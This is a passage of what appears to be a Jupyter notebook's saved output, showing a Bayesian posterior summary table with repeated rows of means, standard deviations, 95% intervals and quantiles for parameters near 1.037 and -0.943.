[0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", "\n", " Posterior quantiles:\n", " 2.5 25 50 75 97.5\n", " |--------------|==============|==============|--------------|\n", " \n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 